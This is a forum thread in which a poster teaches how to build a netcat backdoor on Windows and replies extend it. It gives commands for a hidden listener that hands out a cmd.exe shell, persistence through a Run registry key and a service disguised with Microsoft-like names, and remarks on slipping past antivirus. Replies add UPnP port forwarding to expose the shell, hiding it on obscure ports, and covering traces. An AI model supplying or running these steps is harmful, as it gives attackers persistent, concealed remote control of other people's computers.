backdoors with netcat

[Corrupted_Fear]

My apologies for not being active for so long, but I should be here for at least a little bit now...


So to get started, backdoors with netcat.
If you do not already know what netcat is, I am referring to hobbits netcat which you can find here:
http://joncraton.org/media/files/nc111nt.zip
Firefox told it was possibly malicious, which it is. I'm telling you how to create a back door, your system will go crazy. If you believe its a virus then so be it, you can stop reading now.
Netcat is referred to as a network swiss army tool. Its a fairly simple application that produces tunnels or connections to different computers.
You can view the entire help file with nc.exe -h, but for now the two important commands:

Code: [Select]

nc.exe -l -p port creates a listener on a port.

Code: [Select]

nc.exe ipoflistener portoflister connects to listener.


Thats great and all, but what really makes netcat useful as a back door is the -e command, which executes a program or script after successful connection. So for example:

Code: [Select]

nc.exe ipoflistener portoflister -e cmdgives you a windows shell upon connect. That is the basic principle of the back door with netcat, get a computer to host a netcat server on a specific port, and then connect to that port and you get a shell. A different version of the backdoor is where the listener has the -e command, and all you have to do is connect and are automatically dropped into shell. Not to much of a difference, but could be helpful in certain situations. Only problem with this single command is as soon as you connect and log off, no more listener waiting, so lets fix that.

Code: [Select]

nc.exe -d -L -p 12345 -e cmd.exeSpawns initial listening server on port 12345, that will keep listening if client disconnects (-L) and runs without a shell (-d)

Code: [Select]

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v microsoft_service /t REG_SZ /d “c:\nc.exe -d -L -p 12345 -e cmd.exe”adds to startup

Code: [Select]

sc create microsoft_update binpath="cmd /K start c:\nc.exe -d -L -p 12345 -e cmd.exe" start=auto error=ignoreadds netcat command as a windows service


The above two commands I borrowed from the site:
http://blog.pusheax.com/2012/04/power-of-netcat.html
So I can not guarantee if they work or not, I have yet to test it.


Now everything above was for a windows machine, using cmd, its essentially the same for a unix system, just use /bin/sh instead of cmd.exe, more on that here: http://shebangme.blogspot.com/2011/07/netcat-cheat-sheet.html


Netcat is my favorite tool, makes everything much easier, very simple, and really isn't that hard to mask behind AV at all. A scan on it from virus total showed that only 24/47 showed it as an alert on a scan of the straight up, non-encrypted nc.exe. This means that some AV's dont consider it a virus, so yay for us.
Another useful link is the netcat cheat sheet, which shows some more uses and how to do them : http://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf


Thats that. I know netcat is older and there are better tools out there, but its still a fundamental tool and can be used in a lot of different scenarios. Thanks for reading, and hope you learned something or at least enjoyed the info.


-Fear


EDIT: Random size tags appeared, fixed now


EDIT2: I forgot to mention, reverse shells are a wonderful thing. For more, in several different languages: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

[Kulverstukas]

While this is a neat and old trick, it won't work for internal networks with routers and stuff. Port must be forwarded for you to connect, otherwise you won't be able to. This is where reverse shells come into play. They connect to you rather than you to them.

Still +1 for ya!

[Corrupted_Fear]

Yea, but its great for making back doors to your own pc if your out and need something. You can just make it launch a batch file with a password instead of going straight to cmd, and put it to some obscure port for security.

[Snayler]

Playing with netcat is always fun. +1 for the tutorial.
If I might add, a script to forward the port using uPnP would be interesting (and dangerous).

[Corrupted_Fear]

@snayler: I honestly have no idea how to do that, I've never worked with uPnP before (that I am aware of), but if you want to write a script go right ahead 

[Snayler]

@snayler: I honestly have no idea how to do that, I've never worked with uPnP before (that I am aware of), but if you want to write a script go right ahead 

Well, I haven't played with it much, but since it was created to make life easier, I guess it shouldn't be too hard.

EDIT: Here's an example in vbs:
http://forums.gearboxsoftware.com/showthread.php?t=85170
Yep, looks easy.

[AnarchyAngel]

Upnp-Exploiter will forward ports via upnp - https://github.com/dc414/Upnp-Exploiter

[Corrupted_Fear]

Oh this is brilliant. Only thing that would really limit this kind of back door is if you were building a botnet, I dont think netcat can support more then one connection, but if you used this to get a msf exe, or some other malicious code you could do some serious damage.

[Illicit]

While this is a neat and old trick, it won't work for internal networks with routers and stuff. Port must be forwarded for you to connect, otherwise you won't be able to. This is where reverse shells come into play. They connect to you rather than you to them.

Still +1 for ya!

Internal networks is what they would work on? (from within) but yes since when are you going to find someone using a modem alone, who is conveiniently the target of your attack.

[Corrupted_Fear]

Internal networks is what they would work on? (from within) but yes since when are you going to find someone using a modem alone, who is conveiniently the target of your attack.

It's usually used for quick file transfers or tunnels within networks, but if you wanted it to work with a WAN connection then a reverse shell would be just what you need. It connects to you, thus eliminating the issue of port forwarding or routers in general. You would just have to make sure that specific port on your router/ computer is open and listening.

[edu19]

netcat is a very useful tool if you are familiar with the cmd line of linux and windows. on Windows, if you can direct connect to the computer you can enable the default telnet server (not installed by default on Vista and up, but you could monitor the installation; guess you need the windows cd and then pick up the files and make a simple installer using eg. IExpress.
 
I may do it one day I have enough time and post here. btw you can change telnet port since most ISPs blocks port 23. and you can use remote desktop to view the screen.
 
to transfer files you can use the cmd line ftp tool. bingo you can fully control a Windows computer with built in tools
 
 

[FuyuKitsune]

If you're on Linux with netcat there's a tool "miniupnpc" for setting up UPnP. I'm using it on a product and it's pretty handy. I'm not sure if there are binaries available (I just get it from the package manager", and you might be able to find a ghetto-built Windows binary that isn't in MinGW. There are also newer builds with more options but for some reason I have old binaries.

Anywho, the basic command is

Code: [Select]

upnpc -a ip port external_port TCP
upnpc -a 192.168.1.5 22 22 TCPhttp://manpages.ubuntu.com/manpages/precise/man1/upnpc.1.html

Most home routers have UPnP enabled so there's no problem. Specify TCP or UDP depending on your connection.

There are two things that are really handy about this tool:
-First is specifying the IP. You can set up UPnP for a different computer. Suppose you're on a local network with an unprivileged user- you can sorta do stuff but it'll take too long to a get working upnpc binary on the computer. Just set the UPnP from your computer.
-Second is using different internal and external ports. You can easily disguise your shell as a mundane service by picking a different external port. If I had multiple programs/scripts I'd probably strewn them about ports 54000-62000 where torrents often go and out of quick scan ranges.

The default IGD lease duration is 0, which should be an infinite lease but might be different if the router has crappy UPnP implementation. Newer builds of upnpc can specify lease duration. You might want to limit it to a couple days so you don't leave an obvious footprint. You could also use the "-d" to the delete the lease, put it on cron or just do it manually once you've established a proper backdoor.

Also I would not use netcat as a personal backdoor. SSH only, then use that to access local tools if you want more (configure them to only run on localhost).